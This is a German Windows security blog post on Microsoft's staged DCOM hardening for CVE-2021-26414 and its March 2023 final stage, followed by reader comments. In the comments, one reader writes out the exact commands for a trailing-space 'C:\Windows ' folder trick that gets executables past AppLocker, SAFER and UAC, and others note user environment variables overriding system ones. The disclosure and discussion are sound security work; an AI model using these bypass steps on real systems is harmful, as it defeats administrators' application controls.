[English]Kleine Erinnerung für Administratoren von Windows in Unternehmensumgebungen. In Microsofts Windows DCOM-Implementierung gibt es eine Schwachstelle (Windows DCOM Server Security Feature Bypass, CVE-2021-26414), die eine Umgehung der Sicherheitsfunktionen ermöglichte. Microsoft hat das 2021 dokumentiert, und dann auch gepatcht, wobei das Schließen dieser Schwachstelle in mehreren Stufen erfolgt. Kürzlich wurde ich erinnert, dass Microsoft am 14. März 2023 einen letzten Patch freigeben wird, der die Möglichkeit zum Abschalten dieser DCOM-Härtung entfernt.
Anzeige
DCOM Schwachstelle CVE-2021-26414
Das OPC Data Access (OPC DA)-Protokoll wurde 1995 eingeführt, um die Kommunikation von Echtzeitdaten zwischen der speicherprogrammierbaren Steuerung (SPS/PLC) und der Software in OT-Netzwerken zu ermöglichen. OPC DA basiert jedoch auf der DCOM-Technologie, die Sicherheitsschwachstellen aufweist. Im Jahr 2008 führte Microsoft das nicht DCOM-abhängige OPC Unified Architecture (OPC UA)-Protokoll ein, aber viele Industrieunternehmen nutzen immer noch OPC DA.
Stufenweises patchen der Schwachstelle
Im Jahr 2021 räumte Microsoft eine kritische Schwachstelle in seinem DCOM-Protokoll ein und kündigte einen Härtungspatch an, um die Authentifizierung zwischen DCOM-Clients und -Servern zu stärken. Um Betriebsunterbrechungen zu minimieren, wurde der Patch in mehreren Phasen veröffentlicht.
- Der erste Patch vom 8. Juni 2021 führte die Härtung der schwachen Authentifizierungsebenen in DCOM durch, aber die Option war noch deaktiviert. Windows bot aber die Möglichkeit, diese Härtung per Registrierung zu aktivieren.
- Der zweite Patch vom 14. Juni 2022 erzwang die Härtung standardmäßig mit der Option, dies per Registrierungseingriff wieder zu deaktivieren.
- Der Rollout des dritten DCOM-Härtungspatches zum 8. November 2022 bot die Möglichkeit RaiseActivationAuthenticationLevel =2 zu setzen. Dies erhöhte automatisch alle nicht-anonymen Aktivierungsanfragen von DCOM-Clients auf RPC_C_AUTHN_LEVEL_PKT_INTEGRITY.
- Am 14. März 2023 wird Microsoft einen neuen Patch herausgeben, der die Option, ungesichertes DCOM per Registrierungseintrag zu aktivieren, entfernt.
Microsoft hat dazu den Support-Beitrag KB5004442—Manage changes for Windows DCOM Server Security Feature Bypass (CVE-2021-26414) mit weiteren Erläuterungen veröffentlicht und gibt an, dass folgende Windows-Versionen davon betroffen seien:
- Windows 11 21H2 – 22H2
- Windows Server 2022
- Windows 10, Version 2004 – 21H1, Windows Server, Version 20H2
- Windows 10 Enterprise, Version 1909
- Windows 10 IoT Enterprise, Version 1909
- Win 10 Enterprise LTSC Version 2019
- Windows 10 IoT Enterprise LTSC Version 2019
- Windows Server 2019
- Windows 10, Version 1607, Windows Server 2016
- Windows 8. 1, Windows Server 2012 R2
- Windows Embedded 8.1 Industry Enterprise
- Windows Server 2012
- Windows Embedded 8 Standard
- Windows 7, Windows Server 2008 R2
- Windows Embedded Standard 7 ESU
- Windows Embedded POSReady 7 ESU
- Windows Thin PC Windows Server 2008
Microsoft empfiehlt Administratoren diesen Härtungspatch zu installieren. Allerdings sind Windows 7 SP1 und Windows 8.1 aus dem Support gefallen und werden im März 2023 wohl keine Sicherheitsupdates mehr bekommen. Gleiches gilt wohl für Windows 10 Version 2004.
Anzeige
Ähnliche Artikel:
Windows-Schwachstelle CVE-2021-36942 (Petitpotam) und DCOM-Härtung
Microsoft Sicherheitsrevisionen (27.1.2022)
OTORIO DCOM Hardening Toolkit für Windows für OT-Systeme veröffentlicht
Microsoft Security Update Revisions: Windows-Schwachstelle CVE-2021-26414 (24. Feb. 2022)
Revision von CVE-2021-26414 (Windows DCOM Server Security Feature Bypass) vom 28. Juni 2022
Patchday-Nachlese Juni 2022: Probleme mit Windows-Updates, Intel-Schwachstelle, Dokumentation
Anzeige
Hat auch was mit Windows-Härtung zu tun… (Und ich bin gerade ziemlich entsetzt darüber…)
Mir ist es gerade als normaler Benutzer gelungen, mit einfachstem Mittel den Applocker, SAFER und UAC zu umgehen. Ausgangspunkt: CMD.exe ohne lokale Adminrechte (ist ein separater Benutzer)
Schon ein seltsammes Verhalten:
md "c:\Windows "
Ein Unterverzeichnis oder eine Datei mit dem Namen "Windows " existiert bereits.
Man beachte dass für cmd "Windows" und "Windows " das Gleiche ist. Lässt sich aber austricksen…
md "\\?\C:\Windows "
md "\\?\C:\Windows \system32"
copy c:\users\1ST1\downloads\harmlose.exe "\\?\C:\Windows \system32"
start "\\?\C:\Windows \system32\harmlose.exe"
Im Eventviewer, Microsoft-Windows-AppLocker/EXE and DLL
Event 8002, Applocker: Die Ausführung von %osdrive%\windows \system32\harmlose.exe wurde zugelassen.
copy c:\users\1ST1\downloads\harmlose_setup.exe "\\?\C:\Windows \system32"
start "\\?\C:\Windows \system32\harmlose_setup.exe"
Im Eventviewer, Microsoft-Windows-AppLocker/Packaged app-Deployment
Event 8023, Applocker: Die Installation von %osdrive%\windows \system32\harmlose_setup.exe wurde zugelassen.
Und UAC meldet sich bei der setup.exe auch nicht.
In Applocker per GPO gibt es folgende Regeln für EXE und DLL, alternativ, beide werden überlistet:
Allow everyone c:\windows\*
Allow everyone %systemroot%\*
Wie man sieht, ist dort vor "\*" kein Leerzeichen. (Man darf bloß nicht beide gleichzeitig ausschalten… :-X Auf garkeinen Fall! Wirklich! Sonst ist Sense… R.I.P.)
copy c:\users\1ST1\downloads\von_av_ausgeschlossenes_verzeichnis\eicar.exe "\\?\C:\Windows \system32"
-> Dabei schlägt wenigstens der Antivirus zu und verhindert schlimmeres.
Was passiert da? Gesehen?
Der Trick ist das Leerzeichen " " zwischen "Windows" und dem Backslash "\". Das wird von CMD, Applocker, Safer und UAC nicht richtig geprüft. Powershell wahrscheinlich auch nicht… In c:\ gibts gerade zwei Windows-Ordner untereinander…, genauer:
"c:\windows"
"c:\windows "
Seht ihr den Unterschied? Wenn man in den Zweiten rein geht, sieht man komischerweise alle Dateien und Ordner aus dem Ersten. Im Ordner "c:\windows \system32" liegt aber nach obigem Test nur harmlose.exe und harmlose_setup.exe. Dagegen in "c:\windows\system32" liegt alles rum, was da hin gehört. Das Ganze funktioniert übrigens auch mit "%programfiles% ", "program files " und "program files (x86) "…
Grundlage des Tests war dieser Artikel.
WTF!?!?!?
Abhilfe? Per Applocker/SAFER "c:\windows \*" zu sperren, traue ich mich nicht, weil das garantiert auch verwechselt wird… Vielleicht "c:\windows?\*" sperren? Sieht erfolgsversprechend aus, aber was ist dann mit "c:\windows??\*", "c:\windows???\*", … (oder geht "c:\windows?*\*" ???) – risky…
Hilfe, Redmond!!! (Patchday ist erst am 14., also noch 1 Woche Zeit, das zu patchen…)
tja nach dem ein user env %ProgramFiles% ein system env %ProgramFiles% overruled. könnt auch das sehr lustig und spannend sein.
:-O … auch das noch! Muss ich mal testen…
jepp. ein link dazu weil für win10/11
https://www.thewindowsclub.com/system-user-environment-variables-windows
die path variable scheint eine ausnahme zu sein. den rest sollte man im user context überschreiben können.
@GBorn kommt dazu ein Artikel?
Ja, hatte es eigentlich für heute geplant – aber mir ist der Cybervorfall bei Airbus Nordenham und das Word-RCE-Schwachstellen-Thema zuvor gekommen. Das Cyberdingens ist bisher nur bei mir im Blog dokumentiert. Ergänzung: Der Beitrag ist online.
Windows 10/11: "Schein-Ordner" als Sicherheitsdesaster, hebeln Applocker und SRP aus
Mein Kommentar ist weg.
Du meinst den obigen Kommentar? Im SPAM-Ordner oder im Papierkorb ist nichts. Vielleicht hat der Server etwas gebraucht, eher er den langen Kommentar offline genommen hat. Ich kann jedenfalls keinen verschwundenen Kommentar finden.
Jetzt ist er wieder da! (Ich hoffe, die Tragweite dieser "Spielerei" ist klar…!!!)
skanthak, bitte melden…
Ist mir klar – siehe obigen Kommentar. Ich versuche mal was zu schreiben und maile Stefan auch mal an. Ergänzung: Der Beitrag ist online.
Windows 10/11: "Schein-Ordner" als Sicherheitsdesaster, hebeln Applocker und SRP aus
Ist ALLES gaaaaanz (k)alter Kaffee: siehe https://skanthak.homepage.t-online.de/quirks.html#quirk13 sowie https://seclists.org/fulldisclosure/2021/Apr/68 und https://seclists.org/fulldisclosure/2021/Apr/69
JFTR: wie leider üblich haben die Kinder beim MSRC nicht kapiert, dass das nicht nur eine UAC-Umgehung ist (für die sie PRINZIPIELL keine Korrektur bereitstellen), sondern auch SAFER und AppLocker aushebelt (wofür sie ebenso prinzipiell auch keine Korrektur bereitstellen).
Siehe https://skanthak.homepage.t-online.de/SAFER.html#loopholes und https://schneegans.de/windows/safer/ sowie https://seclists.org/bugtraq/2017/Mar/77 und https://skanthak.homepage.t-online.de/appcert.html
Dass vom Benutzer gesetzte (permanente oder flüchtige) Umgebungsvariablen wie %SystemRoot% und %ProgramFiles% die (vom Administrator gesetzten) gleichnamigen Umgebungsvariablen des Systems überlagern ist ebensolcher kalter Kaffee: siehe https://skanthak.homepage.t-online.de/quirks.html#quirk2, https://skanthak.homepage.t-online.de/quirks.html#quirk3, https://skanthak.homepage.t-online.de/quirks.html#quirk4 sowie https://skanthak.homepage.t-online.de/uacamole.html